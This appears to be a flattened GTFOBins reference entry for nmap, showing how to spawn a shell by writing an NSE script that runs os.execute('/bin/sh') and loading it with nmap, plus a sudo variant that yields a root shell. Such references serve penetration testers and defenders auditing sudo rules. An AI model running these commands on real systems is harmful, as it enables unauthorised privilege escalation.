GTFOBins.github.io/_gtfobins/nmap.md

functions
execute-non-interactive sudo-enabled code echo "os.execute('/bin/sh')" > /tmp/script.nse nmap --script=/tmp/script.nse code echo "os.execute('/bin/sh')" > /tmp/script.nse sudo nmap --script=/tmp/script.nse